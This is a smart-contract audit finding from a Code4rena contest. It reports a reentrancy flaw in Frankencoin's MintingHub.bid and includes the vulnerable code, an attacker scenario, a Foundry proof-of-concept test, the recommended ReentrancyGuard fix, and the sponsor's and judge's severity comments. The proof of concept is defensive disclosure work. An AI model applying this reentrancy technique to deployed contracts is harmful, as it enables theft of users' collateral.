Reentrancy issue in bid function could lead to collateral being stolen

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L211

Vulnerability details

Impact

If users set collateral as tokens to allow reentrant calls on transfer(e.g. ERC777 tokens) in a Challenge, their collateral could be stolen by other malicious users.

Proof of Concept

In MintingHub.bid, if the collateral() of Challenge is a token that allows reentrant calls on transfer, attacker could reentry bid function to bid the same Challenge.

To exploit this reentrancy, an attacker needs to launch a Challenge with the same collateral as he wants to steal. Then he could bid his own Challenge with enough _bidAmountZCHF to pass the challenge.position.tryAvertChallenge check and gets collateral. When he gets collateral, he could reenter this bid function and bid his own Challenge again to get the collateral again. The challenger of the attacker's Challenge is attacker, so the _bidAmountZCHF is all transferred to attacker himself. Attacker get both his origin collateral and the victim's collateral without any pay.

    function bid(uint256 _challengeNumber, uint256 _bidAmountZCHF, uint256 expectedSize) external {
        Challenge storage challenge = challenges[_challengeNumber];
        if (block.timestamp >= challenge.end) revert TooLate();
        if (expectedSize != challenge.size) revert UnexpectedSize();
        if (challenge.bid > 0) {
            zchf.transfer(challenge.bidder, challenge.bid); // return old bid
        }
        emit NewBid(_challengeNumber, _bidAmountZCHF, msg.sender);
        // ask position if the bid was high enough to avert the challenge
        if (challenge.position.tryAvertChallenge(challenge.size, _bidAmountZCHF)) {
            // bid was high enough, let bidder buy collateral from challenger
            zchf.transferFrom(msg.sender, challenge.challenger, _bidAmountZCHF);
            challenge.position.collateral().transfer(msg.sender, challenge.size);  //@audit reentry here
            emit ChallengeAverted(address(challenge.position), _challengeNumber);
            delete challenges[_challengeNumber];
        } else {
        [...]

EXP: Consider the following situation:

Alice is the victim and Bob is an attacker

1. Alice launchChallenge with collateral that allows reentrant. This is first Challenge. The total amount of collateral in MintingHub is 300.
2. Bob launches a Challenge with the same collateral that Alice launch. This is second Challenge. The total amount of collateral in MintingHub is 300+300=600.
3. Bob bid his own Challenge with enough high _bidAmountZCHF, he could get collateral in second Challenge, and the _bidAmountZCHF is transferred to Bob. The total amount of collateral in MintingHub is 600-300=300.
4. When Bob receives collateral, he reenters the bid function and bid his second Challenge again. Now he could get another 300 collateral from MintingHub, but the _bidAmountZCHF is still transferred to Bob, because the challenger of second Challenge is Bob. Bob has 600 collateral but his ZCHF doesn't change. The total amount of collateral in MintingHub is 300-300=0.
5. Bob's second Challenge is deleted.

TEST:

Add this test to test/GeneralTest.t.sol.

  function testBidReentrancy() public {
        // alice create a position 
        address pos1Address = initPosition();

        // alice make a normal challenge.
        col.mint(address(alice), 300);
        uint256 first = alice.challenge(hub, pos1Address, 300);
        // bob make a same challenge 
        col.mint(address(bob), 300);
        uint256 second = bob.challenge(hub, pos1Address, 300);
        // there are 600 coll in MintingHub
        console.log("coll balance: ",col.balanceOf(address(hub)));
        require(col.balanceOf(address(hub)) == 600);

        // bob bid his own challenge(second) and Avert Challenge 
        bob.obtainFrankencoins(swap, 60_000 ether);
        // Bob has 60000 ETH 
        uint256 balanceBefore = zchf.balanceOf(address(bob));
        console.log("bob franken coin ", balanceBefore);
        // Bob reentry `bid` to bid his second challenge again to get the coll from Alice!
        bob.bid(hub, second, 30_000 ether); 

        // there are no coll in MintingHub 
        require(col.balanceOf(address(hub)) == 0);
        console.log("coll balance after: ",col.balanceOf(address(hub)));

        // bob's FrankeCoins does not change
        require(zchf.balanceOf(address(bob)) == balanceBefore);
        console.log("bob franken coin ", zchf.balanceOf(address(bob)));

        // bob get all 600 coll in the MintingHub
        require(col.balanceOf(address(bob)) == 600);
        console.log("coll balance of Bob: ",col.balanceOf(address(bob)));
    }

Then change the bid function in GeneralTest.t.sol, comment out last require, we don't care minBid here:

    function bid(MintingHub hub, uint256 number, uint256 amount) public {
        (address challenger, IPosition p, uint256 size, uint256 a, address b, uint256 bid) = hub.challenges(number);
        hub.bid(number, amount, size);
        //require(hub.minBid(number) > amount); // min bid must increase
    }

To simulate the reentrancy, I also patch the code in MintingHub.bid. The call to bid will bid the same challenge twice:

@@ -209,6 +209,21 @@ contract MintingHub {
             // bid was high enough, let bidder buy collateral from challenger
             zchf.transferFrom(msg.sender, challenge.challenger, _bidAmountZCHF);
             challenge.position.collateral().transfer(msg.sender, challenge.size);
+
+        Challenge storage challenge1 = challenges[_challengeNumber];
+        if (block.timestamp >= challenge1.end) revert TooLate();
+        if (expectedSize != challenge1.size) revert UnexpectedSize();
+        if (challenge1.bid > 0) {
+            zchf.transfer(challenge1.bidder, challenge1.bid); // return old bid
+        }
+        if (challenge1.position.tryAvertChallenge(challenge1.size, _bidAmountZCHF)) {
+            // bid was high enough, let bidder buy collateral from challenger
+            zchf.transferFrom(msg.sender, challenge1.challenger, _bidAmountZCHF);
+            challenge1.position.collateral().transfer(msg.sender, challenge1.size);
+            emit ChallengeAverted(address(challenge1.position), _challengeNumber);
+            delete challenges[_challengeNumber];
+        }
+
             emit ChallengeAverted(address(challenge.position), _challengeNumber);
             delete challenges[_challengeNumber];
         } else {

Run forge test -m testBidReentrancy -vv to see the result.

Tools Used

foundryup

Recommended Mitigation Steps

Add a ReentrancyGuard to bid function to prevent reentrancy

[c4-pre-sort]

0xA5DF marked the issue as primary issue

[luziusmeisser]

The Frankencoin system was not designed to work with ERC777 tokens.

However, since it is possible to avoid this re-entrency issue without additional gas costs, I still tend to implement it just in case ERC777 gains popularity (which I doubt).

Given that ERC777 are out of the Frankencoin scope, this is low severity at most.

[c4-sponsor]

luziusmeisser marked the issue as disagree with severity

[c4-judge]

hansfriese changed the severity to QA (Quality Assurance)

[c4-judge]

hansfriese marked the issue as grade-b